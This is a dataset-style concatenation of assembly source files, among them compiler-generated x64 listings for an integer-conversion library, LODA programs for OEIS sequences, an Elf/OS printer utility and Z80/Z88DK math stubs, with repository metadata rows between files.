$LN5@PMC_From_L:
; 97 : if (result != PMC_STATUS_OK)
cmp DWORD PTR result$[rbp], 0
je SHORT $LN8@PMC_From_L
; 98 : return (result);
mov eax, DWORD PTR result$[rbp]
jmp SHORT $LN1@PMC_From_L
$LN8@PMC_From_L:
; 99 : *o = (PMC_HANDLE_SINT)p;
mov rax, QWORD PTR o$[rbp]
mov rcx, QWORD PTR p$4[rbp]
mov QWORD PTR [rax], rcx
$LN3@PMC_From_L:
; 100 : }
; 101 : return (PMC_STATUS_OK);
xor eax, eax
$LN1@PMC_From_L:
; 102 : }
mov rdi, rax
lea rcx, QWORD PTR [rbp-32]
lea rdx, OFFSET FLAT:PMC_From_L$rtcFrameData
call _RTC_CheckStackVars
mov rax, rdi
mov rcx, QWORD PTR __$ArrayPad$[rbp]
xor rcx, rbp
call __security_check_cookie
lea rsp, QWORD PTR [rbp+264]
pop rdi
pop rbp
ret 0
PMC_From_L ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.sint\palmtree.math.core.sint\pmc_from.c
; COMDAT PMC_From_I
_TEXT SEGMENT
result$ = 4
p$4 = 40
__$ArrayPad$ = 248
x$ = 288
o$ = 296
PMC_From_I PROC ; COMDAT
; 63 : {
$LN10:
mov QWORD PTR [rsp+16], rdx
mov DWORD PTR [rsp+8], ecx
push rbp
push rdi
sub rsp, 296 ; 00000128H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 74 ; 0000004aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov ecx, DWORD PTR [rsp+328]
mov rax, QWORD PTR __security_cookie
xor rax, rbp
mov QWORD PTR __$ArrayPad$[rbp], rax
lea rcx, OFFSET FLAT:__B21D7C08_pmc_from@c
call __CheckForDebuggerJustMyCode
; 64 : PMC_STATUS_CODE result;
; 65 : if (x == 0)
cmp DWORD PTR x$[rbp], 0
jne SHORT $LN2@PMC_From_I
; 66 : *o = (PMC_HANDLE_SINT)&number_zero;
mov rax, QWORD PTR o$[rbp]
lea rcx, OFFSET FLAT:number_zero
mov QWORD PTR [rax], rcx
jmp SHORT $LN3@PMC_From_I
$LN2@PMC_From_I:
; 67 : else
; 68 : {
; 69 : NUMBER_HEADER* p;
; 70 : if (x == 0)
cmp DWORD PTR x$[rbp], 0
jne SHORT $LN4@PMC_From_I
; 71 : result = From_I_Imp(0, 0, &p);
lea r8, QWORD PTR p$4[rbp]
xor edx, edx
xor ecx, ecx
call From_I_Imp
mov DWORD PTR result$[rbp], eax
jmp SHORT $LN5@PMC_From_I
$LN4@PMC_From_I:
; 72 : else if (x > 0)
cmp DWORD PTR x$[rbp], 0
jle SHORT $LN6@PMC_From_I
; 73 : result = From_I_Imp(1, x, &p);
lea r8, QWORD PTR p$4[rbp]
mov edx, DWORD PTR x$[rbp]
mov cl, 1
call From_I_Imp
mov DWORD PTR result$[rbp], eax
jmp SHORT $LN7@PMC_From_I
$LN6@PMC_From_I:
; 74 : else
; 75 : result = From_I_Imp(-1, -x, &p);
mov eax, DWORD PTR x$[rbp]
neg eax
lea r8, QWORD PTR p$4[rbp]
mov edx, eax
mov cl, -1
call From_I_Imp
mov DWORD PTR result$[rbp], eax
$LN7@PMC_From_I:
$LN5@PMC_From_I:
; 76 : if (result != PMC_STATUS_OK)
cmp DWORD PTR result$[rbp], 0
je SHORT $LN8@PMC_From_I
; 77 : return (result);
mov eax, DWORD PTR result$[rbp]
jmp SHORT $LN1@PMC_From_I
$LN8@PMC_From_I:
; 78 : *o = (PMC_HANDLE_SINT)p;
mov rax, QWORD PTR o$[rbp]
mov rcx, QWORD PTR p$4[rbp]
mov QWORD PTR [rax], rcx
$LN3@PMC_From_I:
; 79 : }
; 80 : return (PMC_STATUS_OK);
xor eax, eax
$LN1@PMC_From_I:
; 81 : }
mov rdi, rax
lea rcx, QWORD PTR [rbp-32]
lea rdx, OFFSET FLAT:PMC_From_I$rtcFrameData
call _RTC_CheckStackVars
mov rax, rdi
mov rcx, QWORD PTR __$ArrayPad$[rbp]
xor rcx, rbp
call __security_check_cookie
lea rsp, QWORD PTR [rbp+264]
pop rdi
pop rbp
ret 0
PMC_From_I ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.sint\palmtree.math.core.sint\pmc_from.c
; COMDAT From_L_Imp
_TEXT SEGMENT
result$ = 4
o_abs$4 = 40
__$ArrayPad$ = 248
x_sign$ = 288
x_abs$ = 296
o$ = 304
From_L_Imp PROC ; COMDAT
; 47 : {
$LN7:
mov QWORD PTR [rsp+24], r8
mov QWORD PTR [rsp+16], rdx
mov BYTE PTR [rsp+8], cl
push rbp
push rdi
sub rsp, 296 ; 00000128H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 74 ; 0000004aH
mov eax, -858993460 ; ccccccccH
rep stosd
movzx ecx, BYTE PTR [rsp+328]
mov rax, QWORD PTR __security_cookie
xor rax, rbp
mov QWORD PTR __$ArrayPad$[rbp], rax
lea rcx, OFFSET FLAT:__B21D7C08_pmc_from@c
call __CheckForDebuggerJustMyCode
; 48 : PMC_STATUS_CODE result;
; 49 : if (x_sign == 0)
movsx eax, BYTE PTR x_sign$[rbp]
test eax, eax
jne SHORT $LN2@From_L_Imp
; 50 : *o = &number_zero;
mov rax, QWORD PTR o$[rbp]
lea rcx, OFFSET FLAT:number_zero
mov QWORD PTR [rax], rcx
jmp SHORT $LN3@From_L_Imp
$LN2@From_L_Imp:
; 51 : else
; 52 : {
; 53 : PMC_HANDLE_UINT o_abs;
; 54 : if ((result = ep_uint.From_L(x_abs, &o_abs)) != PMC_STATUS_OK)
lea rdx, QWORD PTR o_abs$4[rbp]
mov rcx, QWORD PTR x_abs$[rbp]
call QWORD PTR ep_uint+24
mov DWORD PTR result$[rbp], eax
cmp DWORD PTR result$[rbp], 0
je SHORT $LN4@From_L_Imp
; 55 : return (result);
mov eax, DWORD PTR result$[rbp]
jmp SHORT $LN1@From_L_Imp
$LN4@From_L_Imp:
; 56 : if ((result = AllocateNumber(o, x_sign, o_abs)) != PMC_STATUS_OK)
mov r8, QWORD PTR o_abs$4[rbp]
movzx edx, BYTE PTR x_sign$[rbp]
mov rcx, QWORD PTR o$[rbp]
call AllocateNumber
mov DWORD PTR result$[rbp], eax
cmp DWORD PTR result$[rbp], 0
je SHORT $LN5@From_L_Imp
; 57 : return (result);
mov eax, DWORD PTR result$[rbp]
jmp SHORT $LN1@From_L_Imp
$LN5@From_L_Imp:
$LN3@From_L_Imp:
; 58 : }
; 59 : return (PMC_STATUS_OK);
xor eax, eax
$LN1@From_L_Imp:
; 60 : }
mov rdi, rax
lea rcx, QWORD PTR [rbp-32]
lea rdx, OFFSET FLAT:From_L_Imp$rtcFrameData
call _RTC_CheckStackVars
mov rax, rdi
mov rcx, QWORD PTR __$ArrayPad$[rbp]
xor rcx, rbp
call __security_check_cookie
lea rsp, QWORD PTR [rbp+264]
pop rdi
pop rbp
ret 0
From_L_Imp ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.sint\palmtree.math.core.sint\pmc_from.c
; COMDAT From_I_Imp
_TEXT SEGMENT
result$ = 4
o_abs$4 = 40
__$ArrayPad$ = 248
x_sign$ = 288
x_abs$ = 296
o$ = 304
From_I_Imp PROC ; COMDAT
; 31 : {
$LN7:
mov QWORD PTR [rsp+24], r8
mov DWORD PTR [rsp+16], edx
mov BYTE PTR [rsp+8], cl
push rbp
push rdi
sub rsp, 296 ; 00000128H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 74 ; 0000004aH
mov eax, -858993460 ; ccccccccH
rep stosd
movzx ecx, BYTE PTR [rsp+328]
mov rax, QWORD PTR __security_cookie
xor rax, rbp
mov QWORD PTR __$ArrayPad$[rbp], rax
lea rcx, OFFSET FLAT:__B21D7C08_pmc_from@c
call __CheckForDebuggerJustMyCode
; 32 : PMC_STATUS_CODE result;
; 33 : if (x_sign == 0)
movsx eax, BYTE PTR x_sign$[rbp]
test eax, eax
jne SHORT $LN2@From_I_Imp
; 34 : *o = &number_zero;
mov rax, QWORD PTR o$[rbp]
lea rcx, OFFSET FLAT:number_zero
mov QWORD PTR [rax], rcx
jmp SHORT $LN3@From_I_Imp
$LN2@From_I_Imp:
; 35 : else
; 36 : {
; 37 : PMC_HANDLE_UINT o_abs;
; 38 : if ((result = ep_uint.From_I(x_abs, &o_abs)) != PMC_STATUS_OK)
lea rdx, QWORD PTR o_abs$4[rbp]
mov ecx, DWORD PTR x_abs$[rbp]
call QWORD PTR ep_uint+16
mov DWORD PTR result$[rbp], eax
cmp DWORD PTR result$[rbp], 0
je SHORT $LN4@From_I_Imp
; 39 : return (result);
mov eax, DWORD PTR result$[rbp]
jmp SHORT $LN1@From_I_Imp
$LN4@From_I_Imp:
; 40 : if ((result = AllocateNumber(o, x_sign, o_abs)) != PMC_STATUS_OK)
mov r8, QWORD PTR o_abs$4[rbp]
movzx edx, BYTE PTR x_sign$[rbp]
mov rcx, QWORD PTR o$[rbp]
call AllocateNumber
mov DWORD PTR result$[rbp], eax
cmp DWORD PTR result$[rbp], 0
je SHORT $LN5@From_I_Imp
; 41 : return (result);
mov eax, DWORD PTR result$[rbp]
jmp SHORT $LN1@From_I_Imp
$LN5@From_I_Imp:
$LN3@From_I_Imp:
; 42 : }
; 43 : return (PMC_STATUS_OK);
xor eax, eax
$LN1@From_I_Imp:
; 44 : }
mov rdi, rax
lea rcx, QWORD PTR [rbp-32]
lea rdx, OFFSET FLAT:From_I_Imp$rtcFrameData
call _RTC_CheckStackVars
mov rax, rdi
mov rcx, QWORD PTR __$ArrayPad$[rbp]
xor rcx, rbp
call __security_check_cookie
lea rsp, QWORD PTR [rbp+264]
pop rdi
pop rbp
ret 0
From_I_Imp ENDP
_TEXT ENDS
END
| 20.873846 | 102 | 0.691775 |
fd9f42d6e33ae107b4a6db6a888027919bc5f23e | 35 | asm | Assembly | src/main/fragment/wdc65c02-specific/isr_hardware_all_entry.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | 2 | 2022-03-01T02:21:14.000Z | 2022-03-01T04:33:35.000Z | src/main/fragment/wdc65c02-specific/isr_hardware_all_entry.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | src/main/fragment/wdc65c02-specific/isr_hardware_all_entry.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | pha @clob_a
phx @clob_x
phy @clob_y | 11.666667 | 11 | 0.771429 |
7f8af8cc25279ae684596b698da93ca567ed51ac | 270 | asm | Assembly | programs/oeis/168/A168575.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/168/A168575.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/168/A168575.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A168575: a(n) = (10^n + 1)^3.
; 8,1331,1030301,1003003001,1000300030001,1000030000300001,1000003000003000001,1000000300000030000001,1000000030000000300000001,1000000003000000003000000001,1000000000300000000030000000001
mov $1,10
pow $1,$0
add $1,1
pow $1,3
mov $0,$1
| 30 | 188 | 0.8 |
61b7881335c5f6e00ac74868cb7001cf7a23ef1c | 4,874 | asm | Assembly | src/asm/sprint.asm | fourstix/Elfos-print | 010e68b66d9f6cab3b0707d3fa9a28cba746193c | [
"MIT"
] | null | null | null | src/asm/sprint.asm | fourstix/Elfos-print | 010e68b66d9f6cab3b0707d3fa9a28cba746193c | [
"MIT"
] | null | null | null | src/asm/sprint.asm | fourstix/Elfos-print | 010e68b66d9f6cab3b0707d3fa9a28cba746193c | [
"MIT"
] | null | null | null | ; ******************************************************************************
; String Print - Send a string of text to the printer
;
; Copyright (c) 2021 by Gaston Williams
;
; ******************************************************************************
#include ops.inc
#include bios.inc
#include kernel.inc
; ==============================================================================
; Reserved CPU registers
; R0 Pointer to the DMA buffer
; R1 Interrupt vector
; R2 Main stack pointer
; R3 Main program counter
; R4 Program counter for standard call procedure
; R5 Program counter for standard return procedure
; R6 Temporary values for standard call/return procedures
; RE.0 Used by Elf/OS to store accumulator in call procedures
; RE.1 Used by Elf/OS for baud rate
; ==============================================================================
; ************************************************************
; This block generates the Execution header
; It occurs 6 bytes before the program start.
; ************************************************************
ORG 02000h-6 ; Header starts at 01ffah
dw 02000h ; Program load address
dw endrom-2000h ; Program size
dw 02000h ; Program execution address
ORG 02000h ; code starts here
BR start ; Jump past build info to code
; Build information
binfo: db 80H+10 ; Month, 80H offset means extended info
db 21 ; Day
dw 2021 ; Year
; Current build number
build: dw 1
; Must end with 0 (null)
db 'Copyright 2021 Gaston Williams',0
; ==============================================================================
; Main
; ==============================================================================
start: lda ra ; move past any spaces
smi ' '
bz start
dec ra ; move back to non-space character
ldn ra ; check for nonzero byte
lbnz good ; jump if non-zero
LOAD rf, usage ; print information on command
CALL O_MSG
LOAD rf, helptxt
CALL O_MSG
LBR O_WRMBOOT ; return to os
good: ldi 1Bh ; send 'ESC @' printer command
CALL O_PRINT ; to wake and reset the printer
ldi '@' ; back to default text values
CALL O_PRINT
ldi 0FFh ; load invalid value before checking status
CALL O_PRTSTAT ; check printer ready
bz ready ; non-zero means not available
LOAD rf, unavail ; show unavailable message and exit
CALL O_MSG
lbr O_WRMBOOT ; exit to Elf/OS
ready: ldi 0Ah ; start printing on new line
CALL O_PRINT
copy ra, rf ; save start of string
find_end: lda ra ; get byte from argument
smi 31 ; check for non-printable character
lbdf find_end ; repeat until end of string
dec ra ; move back to end of string
ldi 13 ; add carriage return to end
str ra
inc ra
ldi 10 ; next, add line feed
str ra
inc ra
ldi 0 ; then terminate with a null
str ra
outchar: lda rf
lbz done
CALL O_PRINT
lbr outchar
done: RETURN
usage: db 'Usage: sprint text',10,13,0
helptxt: db "'sprint \e?' will print help text on the printer.",10,13,0
unavail: db 'Printer not ready.',10,13,0
;-------------------------------------------------------------------------------
; define end of execution block
endrom: EQU $
| 45.981132 | 106 | 0.362741 |
24da76cb27b3c109e0e66003365b9c17d118e0fb | 1,149 | asm | Assembly | programs/oeis/174/A174256.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/174/A174256.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/174/A174256.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A174256: Number of 3 X 3 reduced magic squares with distinct values and maximum value 2n; also, with magic sum 3n.
; 0,0,0,8,16,8,24,24,24,32,40,32,48,48,48,56,64,56,72,72,72,80,88,80,96,96,96,104,112,104,120,120,120,128,136,128,144,144,144,152,160,152,168,168,168,176,184,176,192,192,192,200,208,200,216,216,216,224,232,224,240,240,240,248,256,248,264,264,264,272,280,272,288,288,288,296,304,296,312,312,312,320,328,320,336,336,336,344,352,344,360,360,360,368,376,368,384,384,384,392,400,392,408,408,408,416,424,416,432,432,432,440,448,440,456,456,456,464,472,464,480,480,480,488,496,488,504,504,504,512,520,512,528,528,528,536,544,536,552,552,552,560,568,560,576,576,576,584,592,584,600,600,600,608,616,608,624,624,624,632,640,632,648,648,648,656,664,656,672,672,672,680,688,680,696,696,696,704,712,704,720,720,720,728,736,728,744,744,744,752,760,752,768,768,768,776,784,776,792,792,792,800,808,800,816,816,816,824,832,824,840,840,840,848,856,848,864,864,864,872,880,872,888,888,888,896,904,896,912,912,912,920,928,920,936,936,936,944,952,944,960,960,960,968,976,968,984,984,984,992
add $0,1
mov $1,$0
gcd $0,262149
sub $1,$0
div $1,2
mul $1,8
| 114.9 | 969 | 0.733681 |
3c7fb069556f35ea5c6d3dfbbcedd4f2dfc78a70 | 394 | asm | Assembly | libsrc/_DEVELOPMENT/adt/p_forward_list/c/sccz80/p_forward_list_push_front.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/adt/p_forward_list/c/sccz80/p_forward_list_push_front.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/adt/p_forward_list/c/sccz80/p_forward_list_push_front.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
; void p_forward_list_push_front(p_forward_list_t *list, void *item)
SECTION code_clib
SECTION code_adt_p_forward_list
PUBLIC p_forward_list_push_front
EXTERN p_forward_list_insert_after
defc p_forward_list_push_front = p_forward_list_insert_after
; SDCC bridge for Classic
IF __CLASSIC
PUBLIC _p_forward_list_push_front
defc _p_forward_list_push_front = p_forward_list_push_front
ENDIF
| 20.736842 | 68 | 0.878173 |
b03648c48655969dce08660ee9d4c7d99b7e1209 | 686 | asm | Assembly | oeis/179/A179403.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/179/A179403.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/179/A179403.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A179403: Number of ways to place 2 nonattacking kings on an n X n toroidal board.
; Submitted by Jon Maiga
; 0,0,0,56,200,486,980,1760,2916,4550,6776,9720,13520,18326,24300,31616,40460,51030,63536,78200,95256,114950,137540,163296,192500,225446,262440,303800,349856,400950,457436,519680,588060,662966,744800,833976,930920,1036070,1149876,1272800,1405316,1547910,1701080,1865336,2041200,2229206,2429900,2643840,2871596,3113750,3370896,3643640,3932600,4238406,4561700,4903136,5263380,5643110,6043016,6463800,6906176,7370870,7858620,8370176,8906300,9467766,10055360,10669880,11312136,11982950,12683156,13413600
add $0,1
mov $1,$0
pow $0,2
trn $0,9
mul $0,$1
mul $1,$0
mov $0,$1
div $0,2
| 52.769231 | 499 | 0.800292 |
b050c332a5fa59bb9fb19a0e3946f60e88cbc3f7 | 439 | asm | Assembly | oeis/036/A036140.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/036/A036140.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/036/A036140.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A036140: a(n) = 2^n mod 107.
; Submitted by Christian Krause
; 1,2,4,8,16,32,64,21,42,84,61,15,30,60,13,26,52,104,101,95,83,59,11,22,44,88,69,31,62,17,34,68,29,58,9,18,36,72,37,74,41,82,57,7,14,28,56,5,10,20,40,80,53,106,105,103,99,91,75,43,86,65,23,46,92,77,47,94,81,55,3,6,12,24,48,96,85,63,19,38,76,45,90,73,39,78,49,98,89,71,35,70,33,66,25,50,100,93,79,51
mov $1,2
pow $1,$0
mod $1,107
mul $1,2
mov $0,$1
sub $0,2
div $0,2
add $0,1
| 33.769231 | 298 | 0.642369 |
a9d2dadfc78f209261cdb34df90d585cea6d93c6 | 184 | asm | Assembly | demoprgs/loop.asm | mgohde/MiniMicroII | 28351912580956551041fe00ebcbd320562a617e | [
"BSD-2-Clause"
] | null | null | null | demoprgs/loop.asm | mgohde/MiniMicroII | 28351912580956551041fe00ebcbd320562a617e | [
"BSD-2-Clause"
] | null | null | null | demoprgs/loop.asm | mgohde/MiniMicroII | 28351912580956551041fe00ebcbd320562a617e | [
"BSD-2-Clause"
] | null | null | null | ldl $1
and r7,r7,r0
ldl $8
and r7,r7,r1
ldl $8
and r7,r7,r2
xor r3,r3,r3
xor r4,r4,r4
>loop
add r0,r3,r3
add r1,r4,r4
ldl #out
cmp r3,r2,r0
je r6,r7,r0
ldl #loop
jmp r6,r7,r0
>out
hlt
| 9.684211 | 12 | 0.673913 |
81a8a4a95fd2f3c1ef2355c6da9db3ba2c945bc1 | 655 | asm | Assembly | oeis/020/A020514.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/020/A020514.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/020/A020514.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A020514: a(n) = 1^n + 2^n + 4^n + 8^n + 16^n.
; 5,31,341,4681,69905,1082401,17043521,270549121,4311810305,68853957121,1100586419201,17600780175361,281543712968705,4504149450301441,72061992352890881,1152956690052710401,18447025552981295105,295150156996346511361,4722384497336874434561,75558007841377277706241,1208926972537233294229505,19342822337210501698682881,309485083608338955753226241,4951760747437401827054714881,79228167236631101938182651905,1267650638007162390353805312001,20282409905883129831204239441921,324518556076278384026813013688321
mov $2,2
pow $2,$0
mov $3,1
mov $5,2048
lpb $5
add $4,$3
mul $4,$2
div $5,7
lpe
mov $0,$4
add $0,1
| 43.666667 | 500 | 0.833588 |
048e98eb7fa78ce1cd38ef97306ede3fc7b6d080 | 1,537 | asm | Assembly | programs/oeis/157/A157816.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/157/A157816.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/157/A157816.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A157816: a(n) = 1482401250*n^2 - 108900*n + 1.
; 1482292351,5929387201,13341284551,23717984401,37059486751,53365791601,72636898951,94872808801,120073521151,148239036001,179369353351,213464473201,250524395551,290549120401,333538647751,379492977601,428412109951,480296044801,535144782151,592958322001,653736664351,717479809201,784187756551,853860506401,926498058751,1002100413601,1080667570951,1162199530801,1246696293151,1334157858001,1424584225351,1517975395201,1614331367551,1713652142401,1815937719751,1921188099601,2029403281951,2140583266801,2254728054151,2371837644001,2491912036351,2614951231201,2740955228551,2869924028401,3001857630751,3136756035601,3274619242951,3415447252801,3559240065151,3705997680001,3855720097351,4008407317201,4164059339551,4322676164401,4484257791751,4648804221601,4816315453951,4986791488801,5160232326151,5336637966001,5516008408351,5698343653201,5883643700551,6071908550401,6263138202751,6457332657601,6654491914951,6854615974801,7057704837151,7263758502001,7472776969351,7684760239201,7899708311551,8117621186401,8338498863751,8562341343601,8789148625951,9018920710801,9251657598151,9487359288001,9726025780351,9967657075201,10212253172551,10459814072401,10710339774751,10963830279601,11220285586951,11479705696801,11742090609151,12007440324001,12275754841351,12547034161201,12821278283551,13098487208401,13378660935751,13661799465601,13947902797951,14236970932801,14529003870151,14824001610001
seq $0,157815 ; a(n) = 8984250*n - 330.
pow $0,2
sub $0,80710818566400
div $0,54450
add $0,1482292351
| 170.777778 | 1,384 | 0.898504 |
735f8d62d76d1dbf8697893ecf0002c6d7709931 | 240 | asm | Assembly | data/mapHeaders/billshouse.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | 16 | 2018-08-28T21:47:01.000Z | 2022-02-20T20:29:59.000Z | data/mapHeaders/billshouse.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | 5 | 2019-04-03T19:53:11.000Z | 2022-03-11T22:49:34.000Z | data/mapHeaders/billshouse.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | 2 | 2019-12-09T19:46:02.000Z | 2020-12-05T21:36:30.000Z | BillsHouse_h:
db INTERIOR ; tileset
db BILLS_HOUSE_HEIGHT, BILLS_HOUSE_WIDTH ; dimensions (y, x)
dw BillsHouseBlocks, BillsHouseTextPointers, BillsHouseScript ; blocks, texts, scripts
db $00 ; connections
dw BillsHouseObject ; objects
| 34.285714 | 87 | 0.8 |
fa5189ba781aba3fd329c9a095109a012a539b7d | 700 | asm | Assembly | programs/oeis/226/A226866.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/226/A226866.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/226/A226866.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A226866: Number of n X 2 (-1,0,1) arrays of determinants of 2 X 2 subblocks of some (n+1) X 3 binary array with rows and columns of the latter in lexicographically nondecreasing order.
; 4,13,37,91,199,397,736,1285,2134,3397,5215,7759,11233,15877,21970,29833,39832,52381,67945,87043,110251,138205,171604,211213,257866,312469,376003,449527,534181,631189,741862,867601,1009900,1170349,1350637
lpb $0
mov $1,$0
cal $1,227161 ; Number of n X 2 0,1 arrays indicating 2 X 2 subblocks of some larger (n+1) X 3 binary array having a sum of one or less, with rows and columns of the latter in lexicographically nondecreasing order.
sub $0,1
add $2,$1
div $1,420
add $1,$2
lpe
mul $1,3
add $1,4
| 50 | 216 | 0.742857 |
863a9d33d607c48320131de366cb770d1b3fb20c | 539 | asm | Assembly | oeis/000/A000910.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/000/A000910.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/000/A000910.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A000910: 5*C(n,6).
; 0,0,0,0,0,0,5,35,140,420,1050,2310,4620,8580,15015,25025,40040,61880,92820,135660,193800,271320,373065,504735,672980,885500,1151150,1480050,1883700,2375100,2968875,3681405,4530960,5537840,6724520,8115800,9738960,11623920,13803405,16313115,19191900,22481940,26228930,30482270,35295260,40725300,46834095,53687865,61357560,69919080,79453500,90047300,101792600,114787400,129135825,144948375,162342180,181441260,202376790,225287370,250319300,277626860,307372595,339727605,374871840,412994400,454293840
bin $0,6
mul $0,5
| 89.833333 | 498 | 0.836735 |
f599003dd14ed3e7863fdffc9be972c68ecf0608 | 1,279 | asm | Assembly | libsrc/_DEVELOPMENT/math/float/math32/z80/f32_fsmul10a.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/math/float/math32/z80/f32_fsmul10a.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/math/float/math32/z80/f32_fsmul10a.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | null | null | null | ;
; feilipu, 2019 July
;
; This Source Code Form is subject to the terms of the Mozilla Public
; License, v. 2.0. If a copy of the MPL was not distributed with this
; file, You can obtain one at http://mozilla.org/MPL/2.0/.
;
;-------------------------------------------------------------------------
; m32_fsmul10a - z80, z180, z80n floating point multiply by 10
;-------------------------------------------------------------------------
;
; Multiplication by 10. The lazy way.
;
;-------------------------------------------------------------------------
; FIXME clocks
;-------------------------------------------------------------------------
SECTION code_fp_math32
PUBLIC m32_fsmul10a_fastcall
PUBLIC _m32_mul10a
EXTERN m32_fsmul_callee
; multiply DEHL by 10 and make positive
;
; enter : DEHL= float x
;
